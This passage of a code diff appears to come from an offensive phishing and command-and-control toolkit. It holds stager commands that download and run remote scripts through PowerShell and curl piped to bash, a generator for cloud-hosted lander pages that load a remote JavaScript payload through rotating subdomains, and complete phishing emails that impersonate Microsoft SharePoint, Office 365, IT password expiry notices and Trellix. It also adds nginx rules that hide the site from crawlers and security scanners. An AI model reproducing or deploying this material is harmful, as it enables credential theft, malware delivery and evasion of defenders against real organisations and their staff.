powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('https://$REDIRECTOR_HOST/windows_stager.ps1')"
- Linux:
curl -s https://$REDIRECTOR_HOST/linux_stager.sh | bash
EOF
echo "[+] Reference file created successfully"
}
# Main execution flow
echo "[+] Starting Havoc C2 payload generation..."
echo "[+] Redirector: $REDIRECTOR_HOST"
echo "[+] C2 Host: $C2_HOST"
# Create stagers directory
mkdir -p $PAYLOADS_DIR/stagers
# Generate profiles
generate_profiles
# Generate payloads
payload_info=$(generate_payloads)
# Generate stagers
generate_stagers $(echo $payload_info | cut -d':' -f1) $(echo $payload_info | cut -d':' -f3)
# Create manifest
create_manifest "$payload_info"
# Create reference
create_reference "$payload_info"
echo "[+] Havoc payload generation complete!"
+28
View File
@@ -158,6 +158,31 @@ def gather_phishing_parameters():
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True) config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True) config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
# Trusted-cloud lander
print(f"\n{COLORS['BLUE']}Trusted-Cloud Lander (optional){COLORS['RESET']}")
config['use_lander'] = confirm_action("Generate a trusted-cloud lander page?", default=False)
if config['use_lander']:
config['lander_campaign_id'] = input("Campaign ID (alphanumeric, _ -) [required]: ").strip()
if not config['lander_campaign_id']:
print(f"{COLORS['RED']}Campaign ID required; skipping lander.{COLORS['RESET']}")
config['use_lander'] = False
else:
print("Provider: 1) GCS 2) S3 3) Azure Blob")
_pmap = {'1': 'gcs', '2': 's3', '3': 'azure'}
config['lander_provider'] = _pmap.get(input("Select provider [1]: ").strip() or '1', 'gcs')
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
if not config['lander_bucket']:
print(f"{COLORS['RED']}Bucket required; skipping lander.{COLORS['RESET']}")
config['use_lander'] = False
else:
print("Mode: 1) Simple redirect 2) TDS (random subdomain rotation)")
config['lander_mode'] = 'tds' if (input("Select mode [1]: ").strip() == '2') else 'simple'
if config['lander_mode'] == 'tds':
raw = input("TDS domains (comma-separated, no scheme) [required]: ").strip()
config['lander_tds_domains'] = [d.strip() for d in raw.split(',') if d.strip()]
default_redirect = f"https://{config.get('phishing_hostname', config['phishing_domain'])}/login"
config['lander_redirect_url'] = input(f"Redirect URL [default: {default_redirect}]: ").strip() or default_redirect
return config return config
def phishing_menu(): def phishing_menu():
@@ -417,6 +442,9 @@ def execute_phishing_deployment(config):
if success: if success:
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}") print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
from modules.phishing.lander_gen import post_deploy_generate_lander
post_deploy_generate_lander(config)
if config.get('ssh_after_deploy'): if config.get('ssh_after_deploy'):
from utils.ssh_utils import ssh_to_instance from utils.ssh_utils import ssh_to_instance
ssh_to_instance(config) ssh_to_instance(config)
+108
View File
@@ -0,0 +1,108 @@
#!/usr/bin/env python3
import re
import shlex
from pathlib import Path
from urllib.parse import urlparse
from jinja2 import Environment, FileSystemLoader
from utils.common import COLORS
_CAMPAIGN_ID_RE = re.compile(r'^[a-zA-Z0-9_-]+$')
def _validate_campaign_id(campaign_id: str) -> str:
if not _CAMPAIGN_ID_RE.match(campaign_id):
raise ValueError(f"campaign_id contains invalid characters: {campaign_id!r}")
return campaign_id
def _validate_https_url(url: str, label: str) -> str:
parsed = urlparse(url)
if parsed.scheme != 'https' or not parsed.netloc:
raise ValueError(f"{label} must be an https:// URL, got: {url!r}")
return url
def post_deploy_generate_lander(config: dict) -> None:
if not config.get('use_lander'):
return
campaign_id = _validate_campaign_id(config['lander_campaign_id'])
provider = config['lander_provider']
mode = config['lander_mode']
bucket = config['lander_bucket']
redirect_url = _validate_https_url(config['lander_redirect_url'], 'redirect_url')
phishing_hostname = config.get('phishing_hostname', 'phishing.local')
js_payload_url = _validate_https_url(
f"https://{phishing_hostname}/static/jq.min.js", 'js_payload_url'
)
template_dir = Path(__file__).parent / 'templates'
env = Environment(loader=FileSystemLoader(str(template_dir)))
context = {
'tds_enabled': mode == 'tds',
'tds_domains': config.get('lander_tds_domains', []),
'js_payload_url': js_payload_url,
'redirect_url': redirect_url,
}
html_template = env.get_template('cloud-lander.html.j2')
js_template = env.get_template('js-payload.js.j2')
html_content = html_template.render(context)
js_content = js_template.render(context)
out_dir = Path('.')
html_file = out_dir / f'lander-{campaign_id}.html'
js_file = out_dir / f'js-payload-{campaign_id}.js'
html_file.write_text(html_content)
js_file.write_text(js_content)
print(f"\n{COLORS['GREEN']}[+] Lander files generated{COLORS['RESET']}")
print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}")
print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}")
qbucket = shlex.quote(bucket)
qhtml = shlex.quote(str(html_file))
qjs = shlex.quote(str(js_file))
if provider == 'gcs':
public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}"
upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html"
elif provider == 's3':
public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}"
upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read"
elif provider == 'azure':
public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}"
upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}"
else:
public_url = f"<unknown provider: {provider}>"
upload_cmd = "<unknown provider>"
print(f"\n{COLORS['YELLOW']}[!] Upload instructions for {COLORS['CYAN']}{provider.upper()}{COLORS['YELLOW']}:{COLORS['RESET']}")
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
print(f"\n{COLORS['YELLOW']}[!] Public trusted-domain URL:{COLORS['RESET']}")
print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}")
print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}")
webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js"
print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}")
# ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat
print(f"\n{COLORS['RED']}[!!] CRITICAL: Upload both files BEFORE starting your GoPhish campaign{COLORS['RESET']}\n")
if __name__ == '__main__':
test_config = {
'use_lander': False,
'lander_campaign_id': 'test_001',
'lander_provider': 'gcs',
'lander_mode': 'simple',
'lander_bucket': 'test-bucket',
'lander_redirect_url': 'https://phishing.local/login',
'phishing_hostname': 'phishing.local',
}
post_deploy_generate_lander(test_config)
print("Self-check passed: disabled lander returned None without errors")
@@ -0,0 +1,31 @@
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex, noarchive">
<title>Loading...</title>
<script>
{% if tds_enabled %}
(function() {
var domains = {{ tds_domains | tojson }};
var randomDomain = domains[Math.floor(Math.random() * domains.length)];
function makeRandomSub(n) {
var r='', c='abcdefghijklmnopqrstuvwxyz0123456789';
for(var i=0;i<n;i++) r+=c.charAt(Math.floor(Math.random()*c.length));
return r+'.';
}
var script = document.createElement('script');
script.src = 'https://' + makeRandomSub(20) + randomDomain + '/jq.min.js?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
document.head.appendChild(script);
})();
{% else %}
(function() {
var script = document.createElement('script');
script.src = {{ js_payload_url | tojson }} + '?u=' + encodeURIComponent(window.location.href) + '&r=' + encodeURIComponent(document.referrer) + '&t=' + Date.now();
document.head.appendChild(script);
})();
{% endif %}
</script>
</head>
<body></body>
</html>
@@ -1,8 +1,118 @@
{# OMITTED — file_share phishing email template #} <!DOCTYPE html>
{# <html>
Jinja2 email template for the file_share lure scenario. Rendered at deploy <head>
time with target organization name, sender domain, and tracking pixel URL <meta charset="UTF-8">
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay. <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document Shared</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
</td>
<td align="right">
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
</td>
</tr>
</table>
</td>
</tr>
Omitted from public release. Present in operational deployments. <!-- Content -->
#} <tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hi {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
</p>
<!-- File Preview -->
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
</td>
<td>
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
<!-- Sender Message -->
{% if include_message | default(true) %}
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
<p style="color: #605e5c; font-size: 14px; margin: 0;">
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
</p>
</div>
{% endif %}
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Open in SharePoint
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
This link will expire in {{ expiry_days | default('7') }} days.<br>
Only people with the link can access this file.
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
Get the SharePoint mobile app
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
</td>
<td style="padding: 0 5px;">
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,8 +1,51 @@
{# OMITTED — office365_login phishing email template #} <!DOCTYPE html>
{# <html>
Jinja2 email template for the office365_login lure scenario. Rendered at deploy <head>
time with target organization name, sender domain, and tracking pixel URL <meta charset="UTF-8">
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay. <title>Microsoft Office 365 - Sign-in Required</title>
<style>
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
.container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
.header { background: #0078d4; padding: 20px; color: white; }
.content { padding: 30px; line-height: 1.6; }
.button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
.footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
.urgent { color: #d13438; font-weight: bold; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<h2>Microsoft Office 365</h2>
</div>
<div class="content">
<p>Hello {{ first_name | default('User') }},</p>
Omitted from public release. Present in operational deployments. <p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
#}
<p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
<p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
<center>
<a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
</center>
<p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
<p>Thank you for your cooperation in keeping your account secure.</p>
<p>Best regards,<br>
Microsoft Account Security Team</p>
</div>
<div class="footer">
<p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
<p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
</div>
</div>
<!-- Tracking pixel -->
<img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
</body>
</html>
@@ -1,8 +1,95 @@
{# OMITTED — password_expiry phishing email template #} <!DOCTYPE html>
{# <html>
Jinja2 email template for the password_expiry lure scenario. Rendered at deploy <head>
time with target organization name, sender domain, and tracking pixel URL <meta charset="UTF-8">
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay. <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Password Expiration Notice</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
</td>
</tr>
Omitted from public release. Present in operational deployments. <!-- Warning Banner -->
#} <tr>
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
<table cellpadding="0" cellspacing="0" border="0">
<tr>
<td style="padding-right: 10px;">
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
</td>
<td>
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
</td>
</tr>
</table>
</td>
</tr>
<!-- Content -->
<tr>
<td style="padding: 30px;">
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Hello {{ "{{.FirstName}}" }},
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
To prevent any interruption to your access, please update your password before it expires.
</p>
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
Password requirements:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
<li>Minimum 12 characters</li>
<li>At least one uppercase letter</li>
<li>At least one lowercase letter</li>
<li>At least one number</li>
<li>At least one special character</li>
<li>Cannot be the same as your last 5 passwords</li>
</ul>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Update Password Now
</a>
</td>
</tr>
</table>
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
If you're unable to click the button above, copy and paste this link into your browser:<br>
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
</p>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This is an automated message from {{ organization | default('IT Department') }}.<br>
Please do not reply to this email.<br>
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,8 +1,103 @@
{# OMITTED — security_alert phishing email template #} <!DOCTYPE html>
{# <html>
Jinja2 email template for the security_alert lure scenario. Rendered at deploy <head>
time with target organization name, sender domain, and tracking pixel URL <meta charset="UTF-8">
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay. <meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Security Alert</title>
</head>
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
<tr>
<td align="center">
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
<!-- Header -->
<tr>
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
</td>
</tr>
Omitted from public release. Present in operational deployments. <!-- Content -->
#} <tr>
<td style="padding: 30px;">
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
Dear {{ "{{.FirstName}}" }},
</p>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
We detected unusual sign-in activity on your account:
</p>
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
<tr>
<td style="padding: 20px;">
<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
</tr>
<tr>
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
</tr>
</table>
</td>
</tr>
</table>
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
<strong>If this was you:</strong> You can safely ignore this email.<br>
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
</p>
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
<tr>
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
Secure My Account
</a>
</td>
</tr>
</table>
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
<strong>What happens next?</strong><br>
We'll guide you through securing your account, including:
</p>
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
<li>Verifying your identity</li>
<li>Reviewing recent account activity</li>
<li>Updating your password</li>
<li>Enabling additional security measures</li>
</ul>
</td>
</tr>
<!-- Footer -->
<tr>
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
This security alert was sent to {{ "{{.Email}}" }}<br>
© {{ current_year | default('2025') }} {{ organization | default('Your Organization') }}. All rights reserved.<br>
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Policy</a> |
<a href="#" style="color: #0078d4; text-decoration: none;">Contact Support</a>
</p>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,8 +1,127 @@
{# OMITTED — trellix-sub phishing email template #} <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
{# <html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">
Jinja2 email template for the trellix-sub lure scenario. Rendered at deploy <head>
time with target organization name, sender domain, and tracking pixel URL <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
substituted. Designed to pass SPF/DKIM checks via the MTA-front relay. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Trellix Threat Intelligence Feed Expiration</title>
<style type="text/css">
body { margin:0; padding:0; background-color:#eeeeee; font-family: Arial, sans-serif; }
a { color: #2814FF; text-decoration: none; }
.button {
background-color: #2814FF;
color: #ffffff !important;
padding: 12px 30px;
border-radius: 5px;
font-size: 16px;
font-weight: bold;
display: inline-block;
}
.footer-text {
font-size: 10px;
color: #ffffff;
line-height: 1.4;
}
.container {
max-width: 600px;
margin: 0 auto;
background-color: #ffffff;
}
.section {
padding: 20px;
color: #000000;
font-size: 15px;
line-height: 22px;
}
ul { padding-left: 20px; }
</style>
</head>
<body>
Omitted from public release. Present in operational deployments. <!-- Outer wrapper -->
#} <table width="100%" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE">
<tr>
<td align="center">
<!-- Email Container -->
<table class="container" cellpadding="0" cellspacing="0" width="600">
<!-- Top Band -->
<tr>
<td bgcolor="#2814FF" height="5"></td>
</tr>
<!-- Logo -->
<tr>
<td align="left" class="section" style="padding-top: 30px;">
<img src="https://resources.trellix.com/rs/627-OOG-590/images/Trellix_LOGO.png" alt="Trellix Logo" width="100" height="25" style="display:block;" />
</td>
</tr>
<!-- Body Content -->
<tr>
<td class="section">
<strong style="font-size: 18px; color: #2814FF;">License Expiration Notice</strong>
<br /><br />
This is an automated alert to inform you that your organizations access to the <strong>Trellix Threat Intelligence Feed</strong> is set to expire <strong>today: July 23, 2025</strong>.
<br /><br />
To avoid disruption in real-time security insights, a license renewal is required to continue accessing:
<ul>
<li>Global threat intelligence updates</li>
<li>Malware detection and response data</li>
<li>Cloud console and policy services</li>
</ul>
<p>You can access your Trellix licensing portal using the secure link below.</p>
<table align="center" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center">
<a href="{{.URL}}" target="_blank" class="button">Access Your Licensing Portal</a>
</td>
</tr>
</table>
<br /><br />
If this notice was received in error or your subscription has already been renewed, no action is needed.
<br /><br />
For assistance, contact <a href="https://support.trellix.com">Trellix Support</a> or your designated Customer Success Manager.
<br /><br />
—<br />
<strong>Trellix Licensing Operations</strong><br />
<a href="https://www.trellix.com">www.trellix.com</a><br />
<a href="mailto:renewals@trellix.com">renewals@trellix.com</a>
</td>
</tr>
<!-- Divider -->
<tr>
<td><img src="http://resources.trellix.com/rs/627-OOG-590/images/ruler2.png" width="100%" style="display:block;" alt="divider" /></td>
</tr>
<!-- Footer -->
<tr>
<td bgcolor="#1A1A1A" class="section" align="center">
<div class="footer-text">
<a href="https://email.trellix.com/manage-prefs" style="color:#ffffff;">Manage Preferences</a> |
<a href="https://email.trellix.com/privacy" style="color:#ffffff;">Privacy</a> |
<a href="https://email.trellix.com/contact" style="color:#ffffff;">Contact Us</a> |
<a href="https://email.trellix.com/webview" style="color:#ffffff;">View as Webpage</a> |
<a href="https://email.trellix.com/unsubscribe" style="color:#ffffff;">Unsubscribe</a>
<br /><br />
Trellix | 6000 Headquarters Drive, Plano, TX 75024<br /><br />
Please note: you cannot reply to this email address. If you have any questions, please use the links provided above.
<br /><br />
Copyright © 2025 Musarubra US LLC. All rights reserved.
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</body>
</html>
@@ -1,5 +1,87 @@
{# OMITTED — FedRAMP compliance lure template #} # FedRAMP Phishing Test Compliance Configuration
{# # This configuration ensures compliance with FedRAMP requirements
Phishing page styled to mimic a FedRAMP compliance portal. Used in
engagements targeting federal contractors. Omitted from public release. compliance_mode: fedramp
#} test_type: user_awareness_only
# Email Configuration
email_settings:
# Emails must be whitelisted on all security systems
require_whitelist: true
bypass_security_controls: true
# No modification of emails allowed
allow_header_modification: false
allow_content_filtering: false
# Tracking requirements
tracking:
- email_opened (via pixel)
- link_clicked
- credentials_submitted
- user_identity (tied to actions)
# Landing Page Requirements
landing_page:
# Must immediately identify as phishing test
show_phishing_notice: true
phishing_notice_text: |
This was a phishing simulation!
You should never enter your credentials on suspicious websites.
# Educational content required
include_education: true
education_content:
- How to identify phishing emails
- Red flags to watch for
- Reporting procedures
- Best practices for email security
# Reporting Requirements
reporting:
# No PII in reports
anonymize_data: true
report_format: aggregate_only
# Required metrics
metrics:
- total_emails_sent
- emails_opened_percentage
- links_clicked_percentage
- credentials_submitted_percentage
- department_breakdown
- role_based_statistics
# Prohibited data
exclude:
- individual_names
- specific_email_addresses
- personal_identifiers
# Technical Configuration
technical:
# Simple campaign only
campaign_type: basic_phishing_test
# No exploitation
allow_malware: false
allow_exploitation: false
allow_persistence: false
# Clean tracking only
tracking_methods:
- pixel_tracking
- unique_urls
- form_submission
# Approval Process
approval:
requires_3pao_approval: true
requires_template_review: true
approval_documentation: required
# Post-Test Requirements
post_test:
notify_failures: true
provide_training: true
remediation_timeline: 30_days
@@ -0,0 +1,15 @@
(function() {
var u = new URLSearchParams(window.location.search);
var src = u.get('u') || '';
var dest = {{ redirect_url | tojson }};
try {
if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) {
var params = new URLSearchParams(new URL(src).search);
var rid = params.get('rid') || params.get('RId');
if (rid && rid.length <= 128) {
dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
}
}
} catch (e) {}
window.location.replace(dest);
})();
@@ -1,7 +1,35 @@
map $http_user_agent $block_scanner {
default 0;
~*Googlebot 1;
~*bingbot 1;
~*Slurp 1;
~*DuckDuckBot 1;
~*Baiduspider 1;
~*YandexBot 1;
~*Sogou 1;
~*Exabot 1;
~*facebot 1;
~*ia_archiver 1;
~*msnbot 1;
~*AhrefsBot 1;
~*SemrushBot 1;
~*MJ12bot 1;
~*DotBot 1;
~*BLEXBot 1;
~*masscan 1;
~*zgrab 1;
~*Shodan 1;
~*censys 1;
}
server { server {
listen 80; listen 80;
server_name _; server_name _;
add_header X-Robots-Tag "noindex, noarchive";
if ($block_scanner) { return 444; }
root /var/www/phishing; root /var/www/phishing;
index index.html index.php; index index.html index.php;
